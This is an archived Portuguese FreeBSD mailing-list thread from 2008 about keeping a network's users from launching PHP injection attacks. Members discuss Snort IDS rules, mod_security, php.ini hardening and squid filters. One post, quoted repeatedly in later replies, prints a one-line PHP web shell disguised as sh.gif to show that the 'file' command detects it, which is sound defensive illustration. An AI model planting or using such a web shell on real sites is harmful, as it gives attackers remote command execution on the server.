Re: [FUG-BR] OT-Ataque PHP injection
Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd -- William Grzybowski -- Jabber: william88 at gmail dot com Curitiba/PR - Brazil - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep,awk não resolva! Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd -- William Grzybowski -- Jabber: william88 at gmail dot com Curitiba/PR - Brazil - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd -- Att, Marcelo M. Fleury Linux User: #369521 Blog - http://marcelomf.blogspot.com/ Não basta saber, é preciso também aplicar; não basta querer é preciso também agir By Goethe - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep, awk não resolva! Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas
Re: [FUG-BR] OT-Ataque PHP injection
opa Marcelo.. bem colocado sua sugestao de footprint .. é preciso mudar o banner do apache e do SO tbm... :) -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 11:10:56 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Bom, a pergunta é sobre sofrer ataques ou prover ataques ? Seria bom esclarecer isso, a maioria das respostas é como evitar os ataques, mas eu entendi que ela quer garantir que em seu servidor não tenha códigos maliciosos, capazes de prover ataques em OUTROS servidores e não no dela... Gustavo, acrescentaria na sua lista o magic_quotes_gpc de qualquer formar, acredito que todas devem ser analisadas, buscando mensurar o impacto nos sistemas existentes... com relação a alterar a extensão do php, não sei até que ponto isso é valido... teria que se alterar o banner do apache também, dentre outras coisas( eu acho )... ataques de footprint são cada vez mais sofisticados... []s Em 22/02/08, Gustavo Polillo Correa [EMAIL PROTECTED] escreveu: no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep, awk não resolva! Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não
Re: [FUG-BR] OT-Ataque PHP injection
Olha pessoal é como evitar prover ataques originados do meu servidor. Em 22/02/08, Gustavo Polillo Correa[EMAIL PROTECTED] escreveu: opa Marcelo.. bem colocado sua sugestao de footprint .. é preciso mudar o banner do apache e do SO tbm... :) -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 11:10:56 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Bom, a pergunta é sobre sofrer ataques ou prover ataques ? Seria bom esclarecer isso, a maioria das respostas é como evitar os ataques, mas eu entendi que ela quer garantir que em seu servidor não tenha códigos maliciosos, capazes de prover ataques em OUTROS servidores e não no dela... Gustavo, acrescentaria na sua lista o magic_quotes_gpc de qualquer formar, acredito que todas devem ser analisadas, buscando mensurar o impacto nos sistemas existentes... com relação a alterar a extensão do php, não sei até que ponto isso é valido... teria que se alterar o banner do apache também, dentre outras coisas( eu acho )... ataques de footprint são cada vez mais sofisticados... []s Em 22/02/08, Gustavo Polillo Correa [EMAIL PROTECTED] escreveu: no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep, awk não resolva! Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance
Re: [FUG-BR] OT-Ataque PHP injection
Bom, a pergunta é sobre sofrer ataques ou prover ataques ? Seria bom esclarecer isso, a maioria das respostas é como evitar os ataques, mas eu entendi que ela quer garantir que em seu servidor não tenha códigos maliciosos, capazes de prover ataques em OUTROS servidores e não no dela... Gustavo, acrescentaria na sua lista o magic_quotes_gpc de qualquer formar, acredito que todas devem ser analisadas, buscando mensurar o impacto nos sistemas existentes... com relação a alterar a extensão do php, não sei até que ponto isso é valido... teria que se alterar o banner do apache também, dentre outras coisas( eu acho )... ataques de footprint são cada vez mais sofisticados... []s Em 22/02/08, Gustavo Polillo Correa [EMAIL PROTECTED] escreveu: no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep, awk não resolva! Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED
Re: [FUG-BR] OT-Ataque PHP injection
Bom dia Cristina! Só respondendo a William: ela quer evitar que os usuários da rede dela façam ataque de sql injection usando o servidor dela... O IDS como Patrick falou seria uma boa solução... Uma outra que pensei... um filtro web também não ajudaria? tipo: um bloqueio via squid ou dansguardian nas strings select, where, delete from... isso teria que ser bastante analisado para não gerar falsos alertas... mas é uma possibilidade. O que acham? Abraço, -- Welkson Renny de Medeiros Focus Automação Comercial Desenvolvimento / Gerência de Redes [EMAIL PROTECTED] Powered by (__) \\\'',) \/ \ ^ .\._/_) www.FreeBSD.org - Original Message - From: Cristina Fernandes Silva [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Friday, February 22, 2008 11:23 AM Subject: Re: [FUG-BR] OT-Ataque PHP injection Olha pessoal é como evitar prover ataques originados do meu servidor. Em 22/02/08, Gustavo Polillo Correa[EMAIL PROTECTED] escreveu: opa Marcelo.. bem colocado sua sugestao de footprint .. é preciso mudar o banner do apache e do SO tbm... :) -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 11:10:56 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Bom, a pergunta é sobre sofrer ataques ou prover ataques ? Seria bom esclarecer isso, a maioria das respostas é como evitar os ataques, mas eu entendi que ela quer garantir que em seu servidor não tenha códigos maliciosos, capazes de prover ataques em OUTROS servidores e não no dela... Gustavo, acrescentaria na sua lista o magic_quotes_gpc de qualquer formar, acredito que todas devem ser analisadas, buscando mensurar o impacto nos sistemas existentes... com relação a alterar a extensão do php, não sei até que ponto isso é valido... teria que se alterar o banner do apache também, dentre outras coisas( eu acho )... ataques de footprint são cada vez mais sofisticados... []s Em 22/02/08, Gustavo Polillo Correa [EMAIL PROTECTED] escreveu: no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como
Re: [FUG-BR] OT-Ataque PHP injection
Marcelo M. Fleury escreveu: Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Então entendemos coisas distintas. Ao meu ver ela nao quer q usuarios internos façam ataque de injection em qualquer q seja o destino/alvo. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... E qual é a diferença? Sendo um IDS de rede, sua função é filtrar os 2 fluxos, o que sai e o que entra na/da rede. Ainda não entendi a relutancia hehe. na realidade não conheço solução voltada para isso... existe o mod_security A solução é o IPS/IDs hehe ;) O mod_security é fantastico, mas não se aplica, nem de longe, ao que ela quer. O mod_security é o mais indicado pra proteger exclusivamente o Apache local. É um DSO e como tal roda no mesmo nível do httpd. Portanto sequer, é capaz de identificar padrões iniciados da maquina com mod_security para outros destinos. Apenas quando o destino final é o Apache (serviço httpd). do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep,awk não resolva! Eu discordo plenamente. Olhar logs é forense. Segurança tem que ser pro-ativa. E pelo que entendi na situação da Cristina ela não terá logs do Apache ou PHP pra olhar, ja que ela quer evitar que ataques sejam provenientes de seu ambiente, nao destinados a ele (ou pelo menos ambos os casos). Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico:
Re: [FUG-BR] OT-Ataque PHP injection
